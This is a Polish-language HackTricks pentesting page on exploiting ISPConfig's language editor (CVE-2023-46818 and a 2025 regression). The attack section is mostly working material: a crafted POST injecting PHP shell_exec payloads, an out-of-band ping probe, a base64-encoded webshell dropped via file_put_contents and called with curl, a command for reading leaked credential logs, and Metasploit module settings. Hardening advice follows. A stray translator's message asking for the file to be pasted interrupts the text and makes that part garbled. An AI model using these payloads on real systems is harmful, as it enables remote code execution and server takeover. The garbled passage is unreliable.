ISPConfig

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

ISPConfig to open-source panel do zarządzania hostingiem. Starsze wydania z serii 3.2.x zawierały funkcję edytora plików językowych, która — gdy była włączona dla super administratora — pozwalała na wstrzyknięcie dowolnego kodu PHP poprzez sfałszowany rekord tłumaczenia. Może to prowadzić do RCE w kontekście serwera WWW i, w zależności od sposobu uruchomienia PHP, do eskalacji uprawnień.

Kluczowe domyślne ścieżki:

  • Root webowy często znajduje się w /var/www/ispconfig gdy serwowany przy pomocy php -S lub przez Apache/nginx.
  • Admin UI dostępny na HTTP(S) vhost (czasami powiązany tylko z localhost; użyj SSH port-forward jeśli to konieczne).

Wskazówka: Jeśli panel jest powiązany lokalnie (np. 127.0.0.1:8080), przekieruj go:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Edytor językowy PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • Login as the built-in superadmin account admin (other roles are not affected according to the vendor)
  • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manual exploitation flow

  1. Open/create a language file to obtain CSRF tokens

Send a first POST to initialize the form and parse the CSRF fields from the HTML response (csrf_id, csrf_key). Example request path: /admin/language_edit.php.

  1. Inject PHP via records[] and save

Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (obserwuj ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Zapisz pliki i wgraj webshell

Użyj file_put_contents, aby utworzyć plik w ścieżce dostępnej z sieci (np. admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Następnie napisz prosty webshell używający base64, aby uniknąć niepożądanych znaków w treści POST:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Nie otrzymałem zawartości pliku. Wklej proszę zawartość pliku src/network-services-pentesting/pentesting-web/ispconfig.md, a ja przetłumaczę go na polski zgodnie z podanymi zasadami.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Jeśli PHP jest uruchomione jako root (np. przez php -S 127.0.0.1:8080 uruchomione przez root), daje to natychmiastowy root RCE. W przeciwnym razie uzyskujesz code execution jako użytkownik serwera WWW.

Regresja 2025 (ISPConfig 3.3.0 / 3.3.0p1)

Błąd edytora języka pojawił się ponownie w 3.3.0/3.3.0p1 i został naprawiony w 3.3.0p2. Warunki wstępne pozostały bez zmian (admin_allow_langedit i logowanie administratora). Ta sama poprawka rozwiązała również XSS w monitorze oraz zrotowane logi czytelne dla wszystkich.

Uwagi:

  • W 3.3.0/3.3.0p1 zrotowane logi czytelne dla wszystkich pod /usr/local/ispconfig/interface/log/ mogą leak credentials, jeśli debug logging był włączony:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Kroki exploita odpowiadają CVE-2023-46818; 3.3.0p2 dodaje dodatkowe kontrole przed edycją języka.

Python PoC

Gotowy do użycia exploit automatyzuje obsługę tokenów i dostarczanie payloadu:

Przykładowe uruchomienie:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Moduł Metasploit (wydany w lipcu 2025)

Rapid7 dodał exploit/linux/http/ispconfig_lang_edit_php_code_injection, który może automatycznie włączyć admin_allow_langedit, jeśli podane konto administratora ma uprawnienia system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Moduł zapisuje base64-encoded payload poprzez records[] i uruchamia go, dając PHP Meterpreter lub custom payload.

Utwardzanie

  • Uaktualnij do 3.2.11p1 lub nowszej dla pierwotnego problemu, oraz do 3.3.0p2 lub nowszej dla regresji z 2025 roku.
  • Wyłącz edytor językowy, chyba że jest absolutnie konieczny:
admin_allow_langedit=no
  • Unikaj uruchamiania panelu jako root; skonfiguruj PHP-FPM lub serwer WWW tak, aby obniżał uprawnienia
  • Wymuś silne uwierzytelnianie dla wbudowanego konta admin

Odniesienia

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks